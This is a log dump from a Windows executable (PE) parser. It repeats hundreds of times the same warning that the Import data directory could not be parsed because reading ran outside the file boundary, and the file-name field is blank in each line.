source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 